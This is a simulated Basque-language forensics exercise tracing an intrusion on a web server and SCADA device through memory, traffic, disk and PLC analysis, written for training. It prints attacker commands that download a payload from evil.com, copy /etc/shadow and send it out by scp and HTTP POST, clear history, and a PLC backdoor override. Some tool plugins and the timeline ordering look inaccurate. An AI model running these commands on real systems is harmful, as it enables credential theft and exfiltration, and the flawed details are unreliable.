

# Memoria Bolatilaren Auzitegi-Analisia

## Praktika Osoa - Volatility 3

Kasu ID: ZG-MEM-2026-001

Data: 2026-02-10

Analista: CISO Taldea

Sistema: Web Zerbitzaria (ERP)

Memoria: 8GB RAM dump

### 1. Procedura eta Komandoak

#### 1.1 Memoria Dump-a Hartzea (LiME)

```
# Live Memory Acquisition - Produkzio sistema batean
$ sudo insmod lime.ko "path=/evidence/web-server-mem.lime format=lime"

[INFO] Writing memory to /evidence/web-server-mem.lime...
[INFO] Memory dump completed: 8.4GB
[INFO] Hash (SHA256): a1b2c3d4e5f6...
```

#### 1.2 Volatility 3 Analisia

```
# Info plugin-a - Profila detektatu
$ vol -f web-server-mem.lime linux.info

Volatility 3 Framework 2.4.1
Progress: 100.00          PDB scanning finished
Primary Layer: LimeLayer
Memory Layer: FileLayer
System Type: Linux version 5.15.0-91-generic (build@lcy02-amd64-045)
System Time: 2026-02-10T14:32:15+01:00
Architecture: x64
```

#### 1.3 Prozesuen Analisia

```
# PsList - Prozesuak zerrendatu
$ vol -f web-server-mem.lime linux.pslist

PID      PPID      COMM           UID      GID      Start Time
```

1	0	systemd	0	0	2026-02-10 08:00:15	
1234	1	nginx	33	33	2026-02-10 08:01:22	
5678	1234	php-fpm	33	33	2026-02-10 08:02:10	
9999	1	[kworker/0:0]	0	0	2026-02-10 14:25:33	⚠
1337	5678	python3	33	33	2026-02-10 14:28:45	⚠ SUSMAGARRIA

💡 **Aurkikuntza:** python3 prozesu susmagarria php-fpm aldetik abiatura!

## 1.4 Sare Konexioen Analisia

# Netstat - Sare konexioak				
Proto	Local Addr	Foreign Addr	State	PID/Comm
TCP	0.0.0.0:80	0.0.0.0:0	LISTEN	1234/nginx
TCP	0.0.0.0:443	0.0.0.0:0	LISTEN	1234/nginx
TCP	10.10.10.5:22	192.168.1.100:54321	ESTABLISHED	4567/sshd
TCP	10.10.10.5:443	185.220.101.45:49152	ESTABLISHED	1337/python3 ⚠

💡 **Aurkikuntza:** Konexio susmagarria IP batetik (185.220.101.45) python3 prozesuarekin!

## 1.5 Bash Historia

# Bash - Komando historia		
PID	Command	Time
1337	wget https://evil.com/payload.py	2026-02-10 14:29:10
1337	chmod +x payload.py	2026-02-10 14:29:15
1337	python3 payload.py &	2026-02-10 14:29:18
1337	cat /etc/shadow > /tmp/stolen.txt	2026-02-10 14:30:22
1337	scp /tmp/stolen.txt attacker@185.220.101.45:/d	2026-02-10 14:30:45
1337	rm /tmp/stolen.txt	2026-02-10 14:31:00
1337	history -c	2026-02-10 14:31:05

✓ **Froga garrantzitsua:** Erasotzaileak komandoak exekutatu zituen eta arrastoak ezabatu zituen!

## 1.6 MMAP - Memoria Mapa

# Mmap - Prozesuen memoria mapak				
\$ vol -f web-server-mem.lime linux.mmap --pid 1337	PID	Start	End	Flags File/Region

1337	0x55c3a1a0	0x55c3b1a0	r-xp	/usr/bin/python3.10
1337	0x55c3c1a0	0x55c3d1a0	r--p	/usr/bin/python3.10
1337	0x7f8b2000	0x7f8c2000	rwp	[heap]
1337	0x7f9c1000	0x7f9c9000	r-xp	/tmp/payload.py
1337	0x7fa0000	0x7fb0000	rw-s	/memfd: (deleted)  FILELESS!

**Aurkikuntza:** Malware-a /tmp/payload.py eta memoria fd-an (fileless!)

## 1.7 Fileless Malware Analisia

```
# Memoria dump bat egin prozesuaren memoriarekin
$ vol -f web-server-mem.lime linux.memmap --pid 1337 --dump

[INFO] Dumping memory for PID 1337 to pid.1337.mem

# Strings bilatu
$ strings pid.1337.mem | grep -E "(password|key|secret|api)"

api_key="sk_live_1234567890abcdef"
secret_key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
password="SuperSecretPassword123!"
```

## 1.8 LSOF - Fitxategi irekiak

```
# Lsof - Fitxategi irekiak
$ vol -f web-server-mem.lime linux.lssof

PID      FD      Path
-----
1337      0      /dev/null
1337      1      socket:[12345]  → 185.220.101.45:4444
1337      2      /dev/null
1337      3      /etc/shadow
1337      4      /var/www/html/config.php
1337      5      socket:[12346]  → Reverse shell
```

## 2. Trafikoaren Analisia (Wireshark)

### 2.1 PCAP Analisia

```
# Trafikoa hartzu memoria dump-tik
$ vol -f web-server-mem.lime linux.pcap --output pcap/

$ wireshark pcap/capture.pcap
```

### 2.2 Komunikazio Susmagarria

No.	Time	Source	Destination	Protocol	Info
1234	14:29:20	10.10.10.5	185.220.101.45	TCP	SYN
1235	14:29:20	185.220.101.45	10.10.10.5	TCP	SYN, ACK
1236	14:29:20	10.10.10.5	185.220.101.45	TCP	ACK
1237	14:29:21	10.10.10.5	185.220.101.45	HTTP	POST /upload HTTP/1.1
1238	14:29:22	185.220.101.45	10.10.10.5	HTTP	200 OK

```
# Follow TCP Stream
POST /upload HTTP/1.1
Host: evil.com
Content-Type: multipart/form-data

-----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shadow.dat"

root:$6$rounds=5000$xxx...
bin:x:1:1:...
...
-----WebKitFormBoundary--
```

## 3. Disko Irudiaren Analisia (Autopsy)

### 3.1 Autopsy Kasua Sortu

```
# E01 irudia sortu
$ ewfacquire /dev/sda -t /evidence/web-server-disk.E01

# Autopsy-n ireki
$ autopsy
# → New Case: ZG-DISK-2026-001
# → Add Data Source: web-server-disk.E01
```

### 3.2 Fitxategien Analisia

Fitxategia	Kokapena	Egoera	Aurkikuntza
<a href="#">payload.py</a>	/tmp/	EZABATUA	Recuperatua (inode 12345)
stolen.txt	/tmp/	EZABATUA	Recuperatua
.bash_history	/root/	MODIFIKATUA	history -c agindua
sshd_config	/etc/ssh/	MODIFIKATUA	Portua 22 → 2222
<a href="#">backdoor.so</a>	/lib/x86_64-linux-gnu/	EZABATUA	LD_PRELOAD backdoor

### 3.3 Keyword Search

```
Autopsy Keyword Search Results:  
=====
```

Term: "password"  
/var/www/html/config.php (line 23):  
\$db\_password = "SuperSecretDB123!";

/home/admin/.mysql\_history (line 45):  
SET PASSWORD FOR 'root'@'localhost' = 'RootPass2025!';

Term: "api\_key"  
/var/www/html/api/config.json:  
{"stripe\_key": "sk\_live\_1234567890abcdef"}

Term: "185.220.101.45"  
/var/log/auth.log:  
Feb 10 14:25:33 sshd[4567]: Accepted password for admin from 185.220.101.45

### 3.4 Timeline Analisia

```
Autopsy Timeline:  
=====
```

2026-02-10 14:25:33 - SSH sarbidea 185.220.101.45-tik  
2026-02-10 14:28:45 - python3 prozesua abiatu  
2026-02-10 14:29:10 - payload.py jaitsi  
2026-02-10 14:29:18 - Malware aktibatu  
2026-02-10 14:30:22 - /etc/shadow kopiatu  
2026-02-10 14:30:45 - Datuak exfiltratu  
2026-02-10 14:31:05 - Arrastoak ezabatu  
2026-02-10 14:32:15 - Memoria dump hartu (detekzioa!)

## 4. IoT Forense (Kamera/SCADA)

### 4.1 HMI Gailuaren Analisia

```
# HMI irudia sortu  
$ dd if=/dev/mmcblk0 of=/evidence/hmi-backup.img bs=1M  
  
$ fdisk -l hmi-backup.img  
Disk hmi-backup.img: 16 GiB  
Device Start End Sectors Size Type  
hmi-backup.img1 8192 532479 524288 256M Linux  
hmi-backup.img2 532480 30605311 30072832 14.3G Linux  
  
# Muntatu
```

```

$ mkdir /mnt/hmi
$ mount -o loop,offset=$((532480*512)) hmi-backup.img /mnt/hmi

# Logak aztertu
$ ls /mnt/hmi/var/log/
scada.log auth.log syslog wtmp

$ grep -i "error\|fail\|intrusion" /mnt/hmi/var/log/scada.log
2026-02-10 14:35:22 [ERROR] Unauthorized access attempt: IP 192.168.50.100
2026-02-10 14:35:45 [WARN] Temperature setpoint changed: 180→250°C
2026-02-10 14:36:01 [ALERT] Emergency stop activated by operator

```

## 4.2 PLC Programaren Analisia

```

# PLC programaren irudia
$ strings /mnt/hmi/opt/scada/plc_program.st | head -50

PROGRAM OvenControl
VAR
    Temperature : REAL;
    Setpoint : REAL := 180.0;
    Emergency_Stop : BOOL := FALSE;
    -- SUSPICIOUS: Backdoor variable --
    Remote_Override : BOOL := FALSE; !!
END_VAR

-- SUSPICIOUS: Unauthorized modification --
IF Remote_Override THEN
    Setpoint := 250.0; -- DANGEROUS!
ENDIF;

```

## 5. Ondorioak

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### 5.1 Gertaeraren Kronologia

1. **14:25:33** - Erasotzaileak SSH bidez sartu (pasahitz ahula)
2. **14:28:45** - Python backdoor abiatu
3. **14:29:10** - Malware jaitsi eta exekutatu
4. **14:30:22** - /etc/shadow irakurri
5. **14:30:45** - Datuak exfiltratu (SCP)
6. **14:35:45** - PLC manipulatu (temperatura igo)
7. **14:36:01** - Operadoreak larrialdi geldialdia aktibatu
8. **14:32:15** - Memoria dump hartu (forensea)

### 5.2 Aurkikuntzak Laburbilduta

#	Aurkikuntza	Larritasuna	Froga
1	Fileless malware	Kritikoa	Memoria dump
2	Datu exfiltrazioa	Altua	PCAP + bash history
3	PLC manipulazioa	Kritikoa	SCADA logak
4	Pasahitz ahulak	Altua	/etc/shadow
5	Backdoor SSH	Altua	sshd_config aldaketa

### 5.3 Erabilitako Tresna Guztiak

Tresna	Helburua	Aurkikuntza
LiME	Memoria hartzea	8GB dump
Volatility 3	Memoria analisia	8+ plugin erabilita
Wireshark	Trafiko analisia	Exfiltrazioa ikusia
Autopsy	Disko analisia	5+ fitxategi recuperatu
Strings	Memoria analisia	API key-ak topatuta
Binwalk	Firmware analisia	Backdoor aurkitua

Praktika hau guztiz simulatua da ikaskuntza helburuetarako.